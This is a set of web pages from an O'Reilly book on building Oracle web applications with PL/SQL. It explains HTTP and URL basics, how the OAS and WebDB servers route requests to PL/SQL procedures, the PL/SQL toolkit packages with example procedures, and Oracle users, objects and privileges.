You're probably wondering why, if Java is the future of Oracle, you should bother with PL/SQL at all. The answer is pretty simple: almost all IS developers are prepared to take advantage of PL/SQL and its many capabilities without a great deal of new training. Java, on the other hand, demands a solid understanding of object-oriented design and programming (a technique substantially different from the structured programming model used by languages like COBOL or C) before you can begin using it effectively. If you're worried that PL/SQL is doomed to go the way of Latin, consider the following:

  • The millions of lines of production PL/SQL code provide a wonderful disincentive against the wild-eyed radicalism of Java zealots.

  • Oracle's strategy acknowledges that there is no "one-size-fits-all" solution for every problem, and has repeatedly emphasized that Java and PL/SQL will coexist in the database and play off one another in the future.

  • The performance improvements for PL/SQL in Oracle8i, combined with the fact that WebDB is a PL/SQL application, bode well for Oracle's commitment to the language.

  • Finally, and most importantly, Oracle has publicly committed that it will support PL/SQL forever!

By the way, I'm not advocating Ludditism. Java is a very important and interesting language that you need to learn. In the interim, though, you can use PL/SQL to develop hundreds of useful web applications that will make your users very happy. Additionally, you won't have wasted any effort; these programs will continue to work even after you've mastered Java and fully adopted Oracle8i. Finally, Oracle allows you to call PL/SQL procedures from inside a Java program and vice versa, allowing you to use the language most appropriate for the task at hand.

1.4.3 Start Learning XML

Other than Java, XML is probably one of the most important technological advances to hit the Web in a long time, especially in the arena of electronic commerce, electronic data exchange, and integrating the various parts of ERP systems. In the last chapter of this book you'll learn how to create XML documents from inside the Oracle database, using PL/SQL.

Previous: 1.3 Oracle's Solution -- Oracle8i | Oracle Web Applications: PL/SQL Developer's Introduction | Next: 2. Foundations
1.3 Oracle's Solution -- Oracle8i | Book Index | 2. Foundations
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 2] Foundations

Oracle Web Applications: PL/SQL Developer's Introduction

Oracle Web Applications: PL/SQL Developer's IntroductionSearch this book
Previous: 1.4 A Roadmap to Oracle8i Chapter 2 Next: 2.2 Server-to-Client Communication

2. Foundations

Contents:
Resources
Server-to-Client Communication
Content Delivery Model
Database Integration
Database Security Review

The ease with which you can develop applications on a PC has caused developers to pay far too little attention to the basic infrastructure in which the systems run. Developers often slap together a form, test it on a PC, and then roll it out to unsuspecting users. They fail to take into account that although they have tested the system on a LAN connection, users will use the system over a WAN connection. What seems fine in one setting is bad in another, and even the world's greatest application really stinks if it's deployed on an inappropriate infrastructure.

Understanding the implications of the infrastructure is even more important in web development, and your designs must account for differences between the major Internet networking protocols (especially statelessness, which we'll look at shortly) and their client/server counterparts. Web systems are centered on a network, so you must account for network traffic in your designs. Even the way you connect your database to the Web has an important impact. You haven't yet written a line of code and you've already got dozens of problems to work out.

This chapter lays the foundations for a WebDB or an OAS application. I'll talk about these applications more specifically in Chapter 3, WebDB, and Chapter 4, Oracle Application Server (OAS).

2.1 Resources

An individual piece of content, whether it's a human resources manual or a phone list, is a resource in web parlance. There are two broad classes of resources: static and dynamic. Static resources are files in a certain format: HTML documents (HTML) created through a text or HTML editor, ASCII reports (TXT) created through a batch process, images (GIF, JPEG) created through an image editor, and even movies (AVI, MPEG) or sound (WAV, AU) created through a video or audio capture system. Almost any type of file becomes a static resource when placed in the proper directory on a machine running OAS or WebDB.

The second, much more interesting type of resource is a dynamic resource, a program that creates web content as it runs. For example, you could write a program to dynamically create a list of employee phone numbers from a human resources database. When a user visits this page, your program queries the database and builds the page as it runs. These sites are always up to date because they are built directly from the data's source, so they aren't subject to the vagaries of manual updating. OAS allows developers to use a number of languages, including PL/SQL, Java, Perl, and VRML (Virtual Reality Modeling Language), to develop dynamic resources; WebDB uses only PL/SQL. This book concentrates on developing dynamic resources using PL/SQL.

Previous: 1.4 A Roadmap to Oracle8i | Oracle Web Applications: PL/SQL Developer's Introduction | Next: 2.2 Server-to-Client Communication
1.4 A Roadmap to Oracle8i | Book Index | 2.2 Server-to-Client Communication
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 2] 2.2 Server-to-Client Communication

Oracle Web Applications: PL/SQL Developer's Introduction

Oracle Web Applications: PL/SQL Developer's IntroductionSearch this book

2.2 Server-to-Client Communication

The Internet (or an intranet) is a network that links different computers together. Before we can start writing web applications, we must understand how the output from these systems actually gets from the server to the browser, which means that we have to learn a little about how the Internet and the Web work.

OAS and WebDB use standard Internet conventions and protocols to send resources to a client. The most important parts of this interchange are:

  • A TCP/IP network to connect the server to the client

  • A software communication port to serve as a collection point for incoming requests

  • A transfer protocol called HTTP to govern how server and client communicate

  • A client program called a web browser to allow users to request and receive resources from the OAS or WebDB server

  • A uniform resource locator (URL) to allow the browser to find a particular resource

  • A MIME type to tell the browser what to do with resources once received from the OAS or WebDB server

The following sections briefly describe each of these parts.

2.2.1 The TCP/IP Network

Browsers connect to an OAS or WebDB server using the TCP/IP networking protocol. Although there are a number of different types of networking protocols, such as DECNet or IPX, web systems only work with TCP/IP. Fortunately, more and more operating systems have this functionality built in, including Unix, Windows 95, Windows 98, Windows NT, OS/2, and Linux.

Every machine on a TCP/IP network is identified by a four-part IP address. Each number in the address can range from 0 to 255, and the four numbers are separated by periods. For example, 253.4.99.17 might be the address for the machine running the human resources department's web server. Every machine on a TCP/IP network has a unique IP address.

Most TCP/IP networks have a special class of servers called Domain Name Servers (DNSs). Their job is to translate IP addresses into meaningful hostnames that are easy to remember. For example, assigning the address 253.4.99.17 to the name "HR" in the DNS allows users to refer to the human resources server as "HR," rather than its actual IP address.

2.2.2 The Communication Port

A software p ort (as opposed to a physical hardware port) is a common reference point on the server that is used to exchange messages. Each TCP/IP-based networking application, like OAS or WebDB, is assigned a specific port that it monitors for incoming requests. Client programs that need to communicate with the server connect to the server's assigned port. Once connected, the two systems exchange information according to a standard protocol (HTTP, FTP, etc.). Each port is identified by a port number, its ordinal position in the range of all ports. On Unix systems, for example, there are 64,536 different ports.

TIP: As a security precaution, a user with root privilege must start programs that use the first 1024 ports. Less privileged users can use ports higher than 1024.

2.2.3 The HyperText Transfer Protocol (HTTP)

A transfer protocol is a convention that governs how systems exchange information. Take, for example, a phone conversation. When you call someone, you (hopefully!) don't start blurting out whatever comes to mind as soon as they pick up the receiver. Instead, your conversation follows a set pattern that civilized society has agreed upon to make communication more efficient:

  1. I initiate a conversation by calling you.

  2. You say "Hello."

  3. I identify myself.

  4. We exchange a message.

  5. We say "Goodbye."

  6. We hang up.

This sort of formalized exchange is the idea behind a protocol: it lets the sender and receiver know the order in which communications will occur. While computers use much more formalized systems than humans, the idea is basically the same.[1] OAS and WebDB follow a standard Internet protocol called HyperText Transfer Protocol (HTTP) to communicate with client web browsers. OAS supports HTTP 1.0 and HTTP 1.1, while WebDB supports only HTTP 1.0.

[1] Sometimes it's almost identical; SMTP communications begin when the client says "HELO" to the server!

By convention, several special TCP ports are associated with specific protocols. For example, port 21 is usually used for FTP, port 25 is used for SMTP (a common email protocol), and port 80 is used for HTTP.

Protocols vary in complexity. Unlike client/server protocols, such as SQL*Net or Net8, HTTP is relatively simple because it is stateless, meaning that the client and server terminate their connection once their conversation is complete. Unlike client/server systems, which maintain state by keeping open a continuous connection to the database, HTTP systems are connected only in bursts and not for the duration of the session.

Because the client and server forget everything that happened during previous connections, developers must take explicit steps to maintain information, or state, from page to page. In other words, there are no global variables in a web application; they are all local. Anything you want to retain from screen to screen has to be stored and retrieved in every page. For example, if you're building a web-based threaded discussion list that begins with a login screen, you must manually program it to remember the login information. We'll discuss strategies for doing this in Chapter 7, The PL/SQL Toolkit, and Chapter 8, Developing Applications.

2.2.4 The Web Browser

Users request information from a WebDB or OAS server using a web browser such as Microsoft Internet Explorer or Netscape Communicator. The browser is responsible for presenting web content on these servers to the user. In the early days of the Web, a browser could handle only basic HTML and text documents, but the explosion of web content has turned the browser into an information kiosk, multimedia center, and minicomputer all rolled into one. For example, most modern browsers can display an HTML document filled with pictures, sounds, and even movies. With the advent of Java, the browser has become a virtual machine, a computer within a computer capable of running Java programs.

There are a number of browsers on the market, and each one behaves slightly differently. For example, the appearance of any given HTML document often varies from browser to browser. To differentiate their product from the competition, browser vendors add features that work only with their browser. You should test your content on a number of different browsers, even if your company has adopted a standard, since many users refuse to give up browsers to which they are fanatically attached. Additionally, more and more people are dialing in from home, and they will often have older (or, depending on your company, newer) software than your company standard.

2.2.5 The Uniform Resource Locator

Uniform Resource Locators (URLs) are used to request a resource from an OAS or WebDB server independently of the operating system used on the machine. A URL abstracts the machine name, resource path, and resource name into a string with the following syntax:

protocol://server:port/path/resource?query_string
protocol

Specifies the network protocol that the browser and the server use to communicate. The most common values are HTTP and FTP.

server

Identifies the name of the machine that hosts the resource. Although you can use the machine's IP address, it's better to use the name defined in the DNS since it helps isolate the URL from the network reconfiguration.

port

Specifies the TCP port used by the OAS or WebDB server. If the port is omitted, then port 80 is used by default.

path

Specifies the virtual directory or schema containing the resource. The path usually maps to either a virtual directory mapping on the web server or, in Oracle web servers, to a Database Access Descriptor (DAD), a logical name used to map a procedure call in a URL to the database schema in which it resides.

resource name

Typically specifies the actual name of the file to return. If the name is omitted, the listener returns a default file, if one is available. The name of the default file varies: index.html is used on many Unix systems, and default.htm is usually used on Windows NT systems. On Oracle web servers, the resource can also correspond to a PL/SQL procedure.

query string (optional)

Optionally passes parameters to dynamic resources. The string begins with a question mark (?) and is followed by ampersand (&)-delimited sets of name/value pairs. Each name/value pair consists of a parameter name followed by an equals sign (=) and a value for the parameter. The parameter name must match a name in the procedure's formal parameter list. The parameter value must be encoded by converting its nonalphanumeric characters to their hexadecimal equivalents; converted characters are preceded with a percent sign (%). The exceptions to this rule are the underscore character, which is left alone, and the space, which can be converted to either a plus (+) sign or %20. For example, "w/in second(s)" converts to "w%2Fin+second%28s%29".

You can omit the server, port, and path sections from hyperlinks (links the user clicks to go to other locations) inside other documents, which allows you to create relative, rather than absolute, URLs. Relative URLs are like relative directories in a filesystem: they let you describe the location of one resource in relation to the current resource. Most resources don't stand on their own; they are part of a larger hierarchical site that usually begins with a "home" and branches out from there. There are practical as well as aesthetic reasons to define a site's structure using relative rather than absolute URLs. For example, if a site is moved to a new host, the server section on all the links in the site must be changed to the new hostname. This is very tedious work. If the site is defined using relative URLs, however, the relative structure of its pages is unaffected by the move.

You create a relative URL by omitting the server, port, and path section from the URLs for hyperlinks and for ACTION attributes in HTML forms. The omitted information is filled in with the server and path information for the current resource, just as the file path information in an operating system command can be assumed from the current directory. The "current directory" of a URL is called the base URL.

For example, if a page's URL is http://betty/somepage.html, links on that page to other resources on the site do not have to explicitly include "betty" in the URL. Instead, they can simply begin with the path and name of other resources. The server part, "betty," is implied by the base URL. You can even include new subdirectories off the base URL.

2.2.6 The Resource MIME Type

Every resource is associated with a MIME type that tells the browser what to do with the resource once the transfer is complete (e.g., display it in the main window, launch a file viewer, and so on). MIME, which stands for Multipurpose Internet Mail Extensions, is a standard for exchanging various types of files (such as images, text, and video) over the Internet so that each computer platform, whether NT, Unix, or VMS, will interpret and correctly handle the resource's contents.

MIME types describe the data format using two parts. The first part, the type, identifies the resource's general format, such as text, image, or audio. The second part, the subtype, identifies the resource's specific data format. For example, the subtypes for the image type include gif and jpeg. The type and subtype are delimited with a slash (/ ); for example, a picture's full MIME type could be image/gif or image/jpeg. The default for WebDB and OAS is text/html.

Browsers must be configured to handle each MIME type. Almost all browsers can display text/plain, text/html, and image/jpeg documents without any extra configuration. When a browser receives a document with a MIME type it doesn't recognize, it asks the user to select a helper program to display the document. This is similar to selecting a file association based on a file extension in Windows (i.e., mapping the .doc extension to the Microsoft Word application). Once the user makes an association, subsequent requests for that MIME type are opened using the associated application.

2.2.7 A Helpful Analogy

I've covered a lot of important material in this section. It might be useful to summarize it by making an analogy to the telephone system network, as shown in Table 2.1.

Table 2.1: An Analogy Between the Web and the Phone System
Term | Analogy
Resources | A resource is like the message you want to transmit during the call. It's the actual information you want to send or receive.
TCP/IP network | The TCP/IP network is like the standards used by the phone company to route your call from your phone to the person that you're calling.
Port | The port is like the circuit that's opened across the network. It is the conduit through which the message is sent.
HTTP | HTTP is like the "hello" and "goodbye" parts of your conversation, the agreed-upon convention that governs how the conversation takes place.
Web browser | The web browser is like the telephone, the component that allows you to place the call.
URL | The URL is like the phone number, the convention that associates a particular resource with an abstract location.
MIME type | The MIME type is like the "nature" of the conversation (i.e., business, pleasure, etc.). It is the specific classification of the message; additionally, it implies a specific action that must be taken based on the message.

Previous: 2.1 Resources | Oracle Web Applications: PL/SQL Developer's Introduction | Next: 2.3 Content Delivery Model
2.1 Resources | Book Index | 2.3 Content Delivery Model
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 2] 2.3 Content Delivery Model

Oracle Web Applications: PL/SQL Developer's Introduction

Oracle Web Applications: PL/SQL Developer's IntroductionSearch this book

2.3 Content Delivery Model

In this section I'll explain how the OAS and WebDB servers apply the ideas introduced in the previous section to deliver content from the server to the client (e.g., URLs, virtual directories, ports, etc.).

Although the specific details vary, OAS and WebDB follow the same basic process model to deliver web content and rely on a virtual schema mapping called a Database Access Descriptor (DAD) to access the database. A DAD is similar to a virtual directory mapping; it creates a name, used within a URL, that links the request to a specific schema in the database.

Figure 2.1 illustrates the basic parts of the model.

Figure 2.1: Basic components of OAS and WebDB systems

A request begins when a user submits a URL or an HTML form to an OAS or WebDB server. A server component called the HTTP listener intercepts the request and extracts its path section. This step, called URL resolution, determines what type of resource the request is for and how it will be processed. If the URL's path section matches a virtual directory mapping, then the request is for a static resource and the HTTP listener returns the requested resource (if found) to the user's browser. If the path section matches a DAD stored in the server's configuration files, the request is for a dynamic resource and the HTTP listener forwards, or dispatches, the request to the PL/SQL gateway.

The PL/SQL gateway reparses the URL (or HTML form action attribute), extracting the DAD name and the name of the procedure to execute, which is found in the resource name section of the URL. The gateway also extracts any parameters that might have been passed as part of the request. If the request was made with a URL, the parameters are stored in the query string. If the request was made with a form, the parameters are stored in the form's named data entry fields.

The gateway uses the DAD configuration information to connect to the appropriate database schema, then executes the specified procedure, passing any parameters included in the call. The procedure, which executes directly inside the database, usually calls procedures in a set of packages called the PL/SQL toolkit. These calls create the page's contents by "printing" HTML tags into a temporary buffer. When the procedure completes, the gateway signals the HTTP listener to send the contents of the buffer -- now populated with the HTML output from the procedure -- back to the user's browser. The user's browser displays the page, just as it would any other static resource.

Let's look at this procedure in more detail, especially the functions of the HTTP listener and the PL/SQL gateway.

2.3.1 The HTTP Listener

The HTTP listener is what we normally think of as the web server. Its job is to receive the requests users make with their browsers, determine how to process them, then return the requested resources (along with their MIME types) to the client machines that made the request. Most of the listener's life is spent monitoring a TCP port for requests made from a web browser. Although OAS and WebDB use port 80 by default, they can be configured to use other ports.

TIP: Only one application at time can listen on a port. To run OAS and WebDB on the same machine, you must configure them to listen on different ports. For example, if OAS is listening on port 80, you could configure WebDB to listen on port 81.

The HTTP listener makes static resources available by mapping physical directories on the OAS or WebDB server to a virtual alias. These aliases are used in the URL to request a static resource that resides in the corresponding directory. The goal is to give clients a uniform way to locate a resource that is independent from the operating system of the OAS or WebDB server. For example, on an NT server, you can map the directory c:\files\public\web_stuff to a virtual directory called web. URLs that need to access resources in the directory must use the alias "web", rather than the actual directory name, to retrieve static resources.

You can configure OAS to make subdirectories beneath a mapped directory accessible from the Web; WebDB maps subdirectories by default. The subdirectory name, as defined on the server's operating system, is appended to the "root" alias of the URL. For example, if c:\files\public\web_stuff had two subdirectories named bob and sue, the virtual mapping to them would be /web/bob and /web/sue.[2]

[2] Since the Web originated mostly on Unix systems, URLs use the forward slash ("/") to denote directories, much to the chagrin of the DOS world, which uses the backslash ("\").

Since they include operating system specific names, subdirectory mappings are not completely platform independent. On Unix systems, for example, directory names are case sensitive, so the directories Junk and junk are not the same. Consequently, a URL that accesses a subdirectory on a Unix server must be case sensitive as well. Other platforms have similar caveats. The spaces in Win9x directory names cause all sorts of headaches, and the 3.x version has an eight-character limit. The best advice on any platform is to keep subdirectory names simple.

2.3.2 The PL/SQL Gateway

The PL/SQL gateway is to the database what the HTTP listener is to the filesystem:

  • Just as static resources are accessed with a URL, PL/SQL dynamic resources are accessed with a URL.

  • Just as physical directories are mapped to virtual directories, physical database schemas are mapped to virtual schemas. These virtual mappings are used in a URL to select the database schema in which a particular dynamic resource resides.

  • Just as static resources are identified by filenames, PL/SQL dynamic resources are identified by procedure names (packaged procedures are identified with both a package and a procedure name). These names are used in a URL to select the procedure to execute.

Both OAS and WebDB use the Database Access Descriptors to connect to a specific schema, which includes all the information necessary to establish a database connection, such as a username, password, and connect string. In either case, the DAD is mapped to a virtual alias that is used within a URL to select a schema.

OAS schema mappings have two parts: a DAD, which maps a schema, and agents, which map to a DAD. The agent name, not the DAD, appears in the URL to make the connection between the Web and the database. Both the URL and the ACTION attribute of a form that requests a dynamic resource have the following general format (optional sections are bracketed):

http://server[:port]/agent_name/plsql/[package.]procedure[?parm1=foo...]

Here are a few examples:

http://gandalf/agent_webtest/plsql/print_all_emps
http://gandalf/agent_webtest/plsql/show_emps?i_name=BOB
http://207.25.98.87:8181/secure_agent/plsql/show_users
http://betty/agent_webtest/plsql/forum.current_forum_list

WebDB has a slightly simpler mapping system that uses just the DAD in the URL; WebDB does not use agents. The URL's format is as follows (optional sections are bracketed):

http://server[:port]/dad_name/[package.]procedure[?parm1=foo...]

Here are some examples:

http://pcandrew.ora.com/WebDB/WEBDB.home
http://gandalf:8181/WebDB/show_emps?I_name=FRED+FLINTSTONE
http://www.travel.com/travelers_site/flights.show_list?country=FR

Previous: 2.2 Server-to-Client Communication | Oracle Web Applications: PL/SQL Developer's Introduction | Next: 2.4 Database Integration
2.2 Server-to-Client Communication | Book Index | 2.4 Database Integration
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 2] 2.4 Database Integration

Oracle Web Applications: PL/SQL Developer's Introduction

Oracle Web Applications: PL/SQL Developer's IntroductionSearch this book

2.4 Database Integration

The HTTP listener and PL/SQL gateway are used to build web-enabled systems that provide tight integration with a backend Oracle database. PL/SQL-based OAS and WebDB applications are developed using a set of packages called the PL/SQL toolkit. In this section, we'll take a quick look at the toolkit and see an example procedure. The last section covers how to pass parameters.

2.4.1 The PL/SQL Toolkit

WebDB and OAS both include the PL/SQL toolkit. The toolkit contains a variety of PL/SQL packages written and supplied by Oracle that perform a range of tasks, including generating HTML tags, manipulating cookies (name/value pairs used to save information throughout an entire session), and creating complex HTML structures based on information in a database table. In general, procedures built with the toolkit will work in either product, although you may run into minor database privilege issues that the DBA can help you resolve.

The packages in the toolkit (described in detail in Chapter 7) are:

HTP and HTF

HTP is a set of procedures that print syntactically correct HTML tags, which are returned to the user's web browser. HTF is an equivalent set of functions that return HTML strings whose output is returned to the program that called the function. In either package, procedures and functions correspond to specific HTML tags; their parameters correspond to tag attributes.

OWA_COOKIE

A set of data structures, procedures, and functions used to create and manipulate cookies.

OWA_IMAGE

A set of data structures, procedures, and functions used to manipulate image maps.

OWA_OPT_LOCK

A set of data structures, procedures, and functions used to perform optimistic record locking. The package can either compute a checksum that's used to test for differences or compare each field of the old and new records (we'll look at this in detail in Chapter 7).

OWA_PATTERN

A set of data structures, procedures, and functions that perform advanced search and replace operations on text strings using regular expressions.

OWA_SEC

A set of data structures, procedures, and functions used to develop customized security and authentication procedures, such as GET_USER_ID (to return the user executing the procedure) or GET_CLIENT_IP (to return the IP address of the machine making the request).

OWA_TEXT

A set of data structures, procedures, and functions used to perform operations on large strings. Also used as the basis of many of the procedures in OWA_PATTERN.

OWA_UTIL

A set of data structures, procedures, and functions used to create advanced HTML structures, such as calendars or tables. Many of the WebDB components, such as forms or calendars, are based directly on this package.

2.4.2 A PL/SQL Example

The following example gives the flavor of how the toolkit creates web content. The example is a relatively simple PL/SQL procedure that displays rows in an employee table. The output is formatted into HTML using the procedures in the toolkit's HTP package:

/* Formatted by PL/Formatter v.1.1.13 */
PROCEDURE show_emps (
   i_job IN VARCHAR2 DEFAULT 'SALESMAN'
   )
AS

   CURSOR emp_cur
   IS
      SELECT *
      FROM scott.emp
      WHERE job LIKE i_job
      ORDER BY ename;
   emp_rec emp_cur%ROWTYPE;
BEGIN
   HTP.title ('Employees in the EMP table');
   HTP.tableopen (cattributes => 'border=1 width=100%');
   OPEN emp_cur;
   LOOP
      FETCH emp_cur INTO emp_rec;
      EXIT WHEN emp_cur%notfound;
      HTP.tablerowopen;
      HTP.tabledata (emp_rec.ename);
      HTP.tabledata (emp_rec.job);
      HTP.tabledata (emp_rec.hiredate);
      HTP.tabledata (emp_rec.sal);
      HTP.tablerowclose;
   END LOOP;
   CLOSE emp_cur;
   HTP.tableclose;
END;

Figure 2.2 shows the output from the procedure. For a more advanced discussion of the PL/SQL toolkit, see Chapter 7.

Figure 2.2: Output of the show_emps procedure

2.4.3 Calling the Example

You can pass parameters to a WebDB or an OAS PL/SQL procedure by including them either in the query string of a URL or as named elements on an HTML form. These parameters are mapped to the procedure's formal argument list using named notation. For example, let's suppose we want to develop a web page that inserts a new user into a table. The procedure we want to call is defined as:

/* Formatted by PL/Formatter v.1.1.13 */
PROCEDURE add (
   lname IN VARCHAR2 DEFAULT NULL,
   fname IN VARCHAR2 DEFAULT NULL,
   dpt_code IN VARCHAR2 DEFAULT NULL
   )
IS
BEGIN
   INSERT INTO emp_table (last_name,first_name,dept)
        VALUES (lname, fname, dpt_code);
   COMMIT;
   HTP.print ('User was inserted');
EXCEPTION
   WHEN OTHERS
   THEN
      HTP.print ('Sorry, could not insert user.');
END;

2.4.3.1 Using a query string

The first way to call the procedure is to embed the parameter values in the URL's query string. Recall that the query string is made up of sets of name/value pairs. When we call a PL/SQL procedure, the "name" part of the pair selects the formal parameter to which we are assigning a value. The "value" part specifies the actual value to pass. The URL to call the procedure is:

http://server/DAD/add?lname=odewahn&fname=andrew&dpt_code=MIS

2.4.3.2 Using an HTML form

We can call the same procedure with an HTML form. In this case, the form's action field specifies the procedure to execute, and the named input elements on the HTML form pass parameters. The name of an input element must match the name of a parameter to the procedure. Here are the HTML tags needed to create a form to call the add procedure:

<form action=http://wilma/hr/plsql/add>
   First Name: <input type=text name=fname><br>
   Last Name:  <input type=text name=lname><br>
   Department: <select name=dpt_code>
      <option value=HR>Human Resources
      <option value=MIS>Computer department
      <option value=ACCT>Accounting
   </select>
</form>

TIP: The PL/SQL gateway translates the information in the query string or on the form to a named notation procedure call:

add ( lname => 'odewahn', fname => 'andrew',
    dpt_code => 'MIS' );

2.4.3.3 Parameter arrays

Sometimes it is desirable to process multiple values for the same parameter, such as when you want to allow a user to enter multiple rows of data in a single form. In a query string, this is accomplished by giving the same name to multiple name/value pairs. In a form, it is accomplished by using the same name for multiple input elements. On the PL/SQL side, the corresponding parameter for the procedure must be declared as an array datatype. We'll see an example of this in Chapter 8.

2.4.3.4 Parameter gotchas

Calling a procedure from the Web circumvents the compiler safeguards that occur in normal procedure calls. When the gateway receives a URL to execute, it will try to do so whether the URL represents a syntactically correct call or not. If the call contains even the slightest error, the listener bombs out and presents an ugly error page to the user. Some of the most common sources of errors are:

Misspelling a formal parameter

The named notation calling method uses the formal parameter name to match the corresponding actual parameter. The gateway generates an error if, for any reason, an actual parameter doesn't match one of the procedure's formal parameters.

Omitting a required actual parameter

All procedure calls, regardless of notation, must provide an actual parameter for a formal parameter that does not have a default value. Failing to do so results in an exception.

Passing the wrong datatype as a parameter value

An actual parameter value must match the declared type of its corresponding formal parameter. Unfortunately, users can create an exception by passing garbage data.

The following guidelines help minimize these and other errors:

  • Follow a convention for naming formal parameters to reduce the chance of misspelling or misnaming a parameter.

  • Provide default values for every formal parameter, even if it's only DEFAULT NULL, to reduce the chance that a required parameter is omitted.

  • Declare parameters as a VARCHAR2 to protect against garbage data. Converting this value into the required type (i.e., VARCHAR2 to NUMBER) inside the procedure allows you to trap exceptions. You can also use the WebDB form wizard to automatically create JavaScript code to perform these checks (you can write your own JavaScript programs, but that's beyond the scope of this book).

WARNING: Don't give a parameter the same name as a column in a table, as this can totally confuse the compiler. For example, in the add procedure presented in the previous section, naming the last name parameter last_name instead of lname would cause a subtle error in the INSERT statement because last_name has two different meanings: it's both a parameter and a table column. You can spend hours trying to track down this relatively simple problem.

Previous: 2.3 Content Delivery Model | Oracle Web Applications: PL/SQL Developer's Introduction | Next: 2.5 Database Security Review
2.3 Content Delivery Model | Book Index | 2.5 Database Security Review
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 2] 2.5 Database Security Review

Oracle Web Applications: PL/SQL Developer's Introduction

Oracle Web Applications: PL/SQL Developer's IntroductionSearch this book

2.5 Database Security Review

Even though security policies are developed and enforced by the DBA, you should still understand how database security issues can impact application design. For example, you should have a clear grasp of schemas and object privileges if you're going to secure your systems by allowing access only through a minimally privileged account.

TIP: Depending on the application, you might need to create an application-specific security scheme (unless you create a DAD for every account, which is a maintenance nightmare) to differentiate between users. For example, in Chapter 8, we'll look at a threaded discussion list application in which we create our own username and password list to allow users to post messages.

This section is a security refresher, covering security relationships among database users, database objects, object privileges, and roles. If these terms are new to you, or you need to dust off a few cobwebs, read on. Otherwise, feel free to skip to the next chapter.

2.5.1 Database Users

A user account is the first line of defense in an Oracle database. Similar to an account on a Unix or NT system, each user account has an associated username and password. A user must log in to a particular account by providing the correct password before running scripts, inputting data, executing PL/SQL programs, or performing any other meaningful activity.

The term schema is often used synonymously with "user" or "account." Although the concepts are closely related, schema is slightly more specific and refers not only to the account itself, but also to the collection of objects (tables, indexes, packages, etc.) owned by the account.

2.5.2 Database Objects

The word object is one of the most overused in the computer world. Languages like Java and C++ create objects with wonderful properties like polymorphism, inheritance, and a slew of other four-syllable words. Object-relational databases like Oracle8i give us pseudo-objects that mimic the important properties of the objects in Java. Finally, life itself gives us everyday objects like buses, rutabagas, and human resources managers.

In Oracle, a database object is a general term for anything created and stored in an Oracle database, including tables, indexes, views, synonyms, and stored procedures. Each object is owned by the account in which it was created. To follow our Unix example, database objects are sort of like files; they belong to the user that created them and to no one else.

Each object has a unique name. A table may be named emp, a procedure may be named give_raise, and an index may be named emp_pk1. Once a name is given to an object, no other object within the schema -- even if it is a different kind of object -- can use the same name. Attempting to create an object with an existing name results in the error "ORA-00955: name is already used by an existing object."

2.5.3 Privileges

Just as every Unix account shouldn't have system administrator authority, every Oracle account shouldn't have DBA power. For example, Bob in accounting shouldn't be able to issue the DROP TABLE command just to see what will happen. Privileges allow us to control how much power a particular account can have.

There are two types of privileges: system and object. As a rule of thumb, system privileges let an account execute SQL Data Definition Language (DDL) commands, while object privileges let an account execute SQL Data Manipulation Language (DML) commands.

A privilege is granted to or revoked from a specific user account with the SQL commands GRANT and REVOKE. For example, the following two commands give the scott account the right to create a table and select from the emp table in the HR schema:

GRANT CREATE TABLE TO scott;
GRANT SELECT ON hr.emp TO scott;

The next two commands show how to remove a privilege using the REVOKE statement:

REVOKE CREATE TABLE FROM scott;
REVOKE SELECT ON hr.emp FROM scott;

2.5.3.1 System privileges

System privileges give an account the right to perform specific actions. For example, an account must be given permission, usually by the DBA, to create, alter, drop, or execute various database objects. An account can also be given permission to perform these actions in other schemas by including the ANY option.

There are a number of system privileges,[3] including:

[3] The SYSTEM_PRIVILEGE_MAP data dictionary table lists all the system privileges.

CREATE TABLE
CREATE PROCEDURE
ALTER USER
EXECUTE ANY PROCEDURE
GRANT ANY PRIVILEGE

The most minimal system privilege is the CREATE SESSION privilege, which allows the account only to log in to the database. Unless granted other privileges, these accounts cannot do much damage. For this reason, they are often used as gateways to more privileged accounts, which selectively grant the account access to a limited number of objects.

2.5.3.2 Object privileges

Object privileges allow an account to make its objects available to other accounts. Each type of object has its own set of applicable privileges. After a privilege on an object is granted to another account, that account can perform a variety of operations that fall within the limits of the granted privileges. In WebDB, some of the most commonly used privileges (by object) include:

  • Tables and views

    • SELECT: Select rows from the table.

    • INSERT: Insert rows into the table.

    • UPDATE: Update rows in the table.

    • DELETE: Delete rows from the table.

  • Procedures, functions, and packages

    • EXECUTE: Execute a stored program.

  • Sequences

    • SELECT: Select the sequence value.

TIP: A stored procedure or function executes with the privileges of its owner, not those of the account that is executing it, unless overridden with the Oracle8i "invoker's rights" option.

An account may access an object once it has been granted the necessary privilege. If it tries to perform an action for which it does not have the necessary privilege, the RDBMS generates an error. The account references the object using its fully qualified object name, which is simply the object's name prepended with its owning schema. The two names are separated with a period. For example, suppose the accounts bob, sue, and cato each own a table named emp. Assuming we have the right privileges, we can use the fully qualified object name in the following SQL statement to get an aggregate list:

SELECT * FROM bob.emp
UNION
SELECT * FROM sue.emp
UNION
SELECT * FROM cato.emp;

